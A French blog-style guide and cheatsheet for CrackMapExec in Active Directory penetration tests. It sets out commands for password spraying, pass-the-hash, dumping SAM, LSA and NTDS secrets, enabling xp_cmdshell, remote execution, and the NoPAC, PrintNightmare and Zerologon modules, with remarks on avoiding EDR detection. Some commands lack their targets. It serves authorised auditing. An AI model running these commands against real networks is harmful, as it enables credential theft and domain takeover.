CrackMapExec est un outil essentiel dans les audits Active Directory. Il permet d’automatiser la découverte, l’authentification, l’énumération et l’exploitation des environnements Windows : SMB, LDAP, WinRM, MSSQL, modules AD avancés, etc.

Ce guide couvre l’installation, l’usage réel en pentest, les attaques Active Directory courantes et une cheatsheet complète prête à l’emploi.

Installation de CrackMapExec sur Kali Linux

sudo apt update && sudo apt install crackmapexec

Vérifier la version :
crackmapexec --version

Utilisation de base (scan, auth, exécution de commandes)

crackmapexec logo

L’utilisation de base de CrackMapExec consiste à scanner un réseau SMB pour identifier les machines actives, tester des identifiants afin de valider un accès, exécuter des commandes à distance pour confirmer le niveau de privilège obtenu, et lister les partages disponibles sur un hôte.

Ces actions permettent rapidement de mesurer l’exposition d’un environnement Windows et d’identifier les premières opportunités de mouvement latéral.

Scanner un réseau SMB

cme smb 192.168.1.0/24

Tester des identifiants

cme smb 192.168.1.10 -u admin -p password123

Exécuter une commande distante

cme smb 192.168.1.10 -u admin -p password123 -x "ipconfig"

Énumérer les partages

cme smb 192.168.1.10 -u admin -p password123 --shares

Énumération Active Directory (SMB, LDAP, WinRM)

Password Policy

cme smb <DC_IP> --pass-pol

Dump SAM / LSA

cme smb <DC_IP> -u <u> -p <p> --sam
cme smb <DC_IP> -u <u> -p <p> --lsa

Dump NTDS.dit

cme smb <DC_IP> -u <u> -p <p> --ntds

LDAP enumeration (utilisateurs, groupes, machines)

cme ldap <DC_IP> -u <u> -p <p> -M ldap_search -o QUERY="(objectClass=user)"

WinRM enumeration

cme winrm <IP> -u <u> -p <p>

Attaques courantes avec CrackMapExec

Pass-The-Hash (PTH)

Le Pass-The-Hash permet de s’authentifier sur une machine Windows sans connaître le mot de passe, en utilisant uniquement un hash NTLM valide. CrackMapExec envoie directement ce hash dans la séquence d’authentification SMB. Cette façon de faire permet d’éviter le bruteforce contrairement à dirb.

cme smb <IP> -H <NTLM_HASH>
cme smb <IP> -H <NTLM_HASH> -x "whoami"

Utilité : Obtenir un accès immédiat à une machine sans casser les mots de passe.

Password Spraying

Le password spraying teste un même mot de passe sur une liste entière d’utilisateurs, évitant ainsi le verrouillage de comptes. CrackMapExec gère automatiquement le timing et les tentatives.

cme smb <IP> -U users.txt -p Winter2024!

Utilité : Identifier les comptes AD ayant un mot de passe faible ou réutilisé.

Exploitation MSSQL

CrackMapExec permet de se connecter aux serveurs MSSQL, exécuter des commandes et activer xp_cmdshell pour obtenir une exécution de commandes à distance.

cme mssql <IP> -u <u> -p <p>
cme mssql <IP> -u <u> -p <p> -X "whoami"

Activation de xp_cmdshell :

cme mssql <IP> -u <u> -p <p> -Q "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;"

Utilité : Obtenir un accès système via SQL, utile pour un pivot interne.

Exécution de commandes à distance (SMB Exec)

CrackMapExec peut exécuter une commande sur une machine via SMB dès qu’un compte valide a les permissions nécessaires.

cme smb <IP> -u <u> -p <p> -x "ipconfig"

Utilité : Vérifier l’accès, récupérer des informations système, préparer un mouvement latéral.

Dump SAM / LSA / NTDS

Avec les privilèges adéquats, CME peut extraire les identifiants locaux ou du domaine.

cme smb <IP> --sam
cme smb <IP> --lsa
cme smb <DC> --ntds

Utilité : Récupérer des hashes, secrets LSA ou l’intégralité de la base AD.

Énumération Active Directory via LDAP

CME peut interroger directement LDAP pour extraire les utilisateurs, groupes, machines, OU et comptes privilégiés.

cme ldap <DC_IP> -u <u> -p <p> -M ldap_search -o QUERY="(objectClass=user)"

Utilité : Comprendre la structure du domaine et identifier les cibles prioritaires.

WinRM (Remote PowerShell)

Si WinRM est actif et que les credentials sont valides, CME ouvre une session PowerShell distante, souvent moins détectée par les solutions de sécurité.

cme winrm <IP> -u <u> -p <p>

Utilité : Accès administrateur propre, idéal pour les actions silencieuses.

Modules avancés CrackMapExec

Lister les modules et exécuter:

cme -M
cme smb <IP> -u <u> -p <p> -M <module>

printnightmare

cme smb <DC> -u <u> -p <p> -M printnightmare

zerologon (test)

cme smb <DC> -u <u> -p <p> -M zerologon

nopac

cme smb <DC_IP> -u <u> -p <p> -M nopac

Scénarios typiques en pentest Active Directory

Enumération initiale

Scan SMB / LDAP / WinRM pour cartographier le domaine.

Compromission d’une machine utilisateur

Password spray → Auth → Commande distante → Extraction de credentials.

Mouvement latéral

Pass-The-Hash → Commande distante → Token theft → découverte de machines.

Prise de contrôle du domaine

Modules NoPAC, PrintNightmare, exploitation LDAP, dump NTDS.

CrackMapExec Cheatsheet

Cheatsheet générale CrackMapExec

Voici les commandes de base de CrackMapExec classées par protocole : SMB, LDAP, WinRM et MSSQL.

Scan SMB

cme smb <IP>
cme smb <CIDR>

Authentification SMB

cme smb <IP> -u <user> -p <password>

Exécution de commandes à distance (SMB Exec)

cme smb <IP> -u <user> -p <password> -x "whoami"

Énumération des partages

cme smb <IP> --shares

Policies / Secrets Windows

cme smb <DC> --pass-pol
cme smb <IP> --sam
cme smb <IP> --lsa
cme smb <DC> --ntds

Énumération LDAP

cme ldap <DC> -u <user> -p <pass>

WinRM (Remote PowerShell)

cme winrm <IP> -u <user> -p <pass>

MSSQL

cme mssql <IP> -u <user> -p <pass>

CrackMapExec ldap enumeration

CrackMapExec peut interroger directement le service LDAP d’un contrôleur de domaine pour extraire des informations essentielles comme les utilisateurs, les groupes, les ordinateurs, les OU, et les comptes à privilèges.

C’est une étape clé pour comprendre la structure et les faiblesses potentielles d’un Active Directory.

Recherche générique d’utilisateurs

cme ldap -u -p -M ldap_search -o QUERY="(objectClass=user)"

Cette requête renvoie la liste complète des comptes utilisateurs du domaine.

Identifier les comptes privilégiés (adminCount=1)

cme ldap -u -p -M ldap_search -o QUERY="(adminCount=1)"

La valeur adminCount=1 indique que le compte appartient ou a appartenu à un groupe à privilèges, comme Domain Admins.

Extraire toutes les machines du domaine

cme ldap -u -p -M ldap_search -o QUERY="(objectClass=computer)"

Permet d’obtenir la liste des serveurs, postes de travail et hôtes enregistrés dans l’AD.

Utilité : identifier les groupes sensibles, localiser les cibles pertinentes, détecter des configurations à risque et préparer les étapes suivantes du pentest (spray, PTH, mouvement latéral).

Crackmapexec nopac

NoPAC est une vulnérabilité Active Directory permettant d’obtenir des privilèges élevés sur un contrôleur de domaine en abusant d’une mauvaise configuration Kerberos. CrackMapExec intègre un module capable de tester automatiquement la faille et, si possible, de l’exploiter.

Test de vulnérabilité NoPAC

cme smb -u -p -M nopac

Cette commande vérifie si le contrôleur de domaine est vulnérable au problème d’élévation de privilèges NoPAC.

Exploitation NoPAC

cme smb -u -p -M nopac --exec

L’option --exec tente d’exécuter une commande à privilèges élevés sur le DC, indiquant une compromission réussie.

Utilité : obtenir un accès administrateur domaine via Kerberos si la configuration est vulnérable, ouvrant la voie au contrôle complet de l’AD.

Crackmapexec mssql

CrackMapExec permet d’interagir avec les serveurs MSSQL pour lister les bases, exécuter des requêtes SQL et, dans certains cas, obtenir une exécution de commandes système via xp_cmdshell.

C’est une étape importante dans un pentest Active Directory, car les serveurs SQL sont souvent des points d’entrée pour un pivot réseau.

Connexion MSSQL

cme mssql -u -p 

Cette commande vérifie l’authentification SQL/Windows et les permissions associées.

Lister les bases

cme mssql -u -p -Q "SELECT name FROM master..sysdatabases"

Cela interroge la base système MSSQL afin d’afficher toutes les bases de données disponibles.

Exécuter une commande système

cme mssql -u -p -X "whoami"

L’option -X exécute directement une commande via xp_cmdshell si celle-ci est activée ou activable.

Utilité : pivoter via SQL, prendre le contrôle du serveur, élever ses privilèges.

crackmapexec password spray

Le password spraying consiste à tester un mot de passe unique sur une liste complète d’utilisateurs, ce qui permet d’éviter les verrouillages de comptes Active Directory. CrackMapExec automatise cette technique et gère les délais nécessaires entre les tentatives.

Spray SMB

cme smb -U users.txt -p Winter2024!

Spray LDAP

cme ldap -U users.txt -p Winter2024!

Explication :

  • -U users.txt : liste des utilisateurs à tester
  • -p : mot de passe unique testé sur chaque utilisateur
  • smb ou ldap : protocole utilisé pour l’authentification

Utilité :

  • Identifier les comptes Active Directory utilisant un mot de passe faible
  • Détecter les comptes réutilisant des mots de passe
  • Obtenir un premier accès valide pour poursuivre l’attaque
  • Préparer un pivot vers WinRM, MSSQL, SMB exec ou LDAP

FAQ – Questions fréquentes (SEO longue traîne)

CrackMapExec ou Impacket ?

CME pour automatiser, Impacket pour un contrôle plus fin.

CrackMapExec permet-il de compromettre un AD ?

Oui avec des modules comme NoPAC, PrintNightmare, Zerologon.

CrackMapExec détecte-t-il les partages sensibles ?

Oui via l’option –shares.

CrackMapExec fonctionne-t-il sans authentification ?

Oui pour la découverte SMB/LDAP.

CrackMapExec est-il détecté par les EDR ?

Souvent, sauf en mode low-noise (LDAP-only, pas d’exécution distante).

Conclusion

CrackMapExec est un outil puissant pour automatiser les audits Active Directory. Ce guide rassemble les commandes essentielles, les techniques d’exploitation, les modules AD et une cheatsheet complète pour optimiser vos pentests.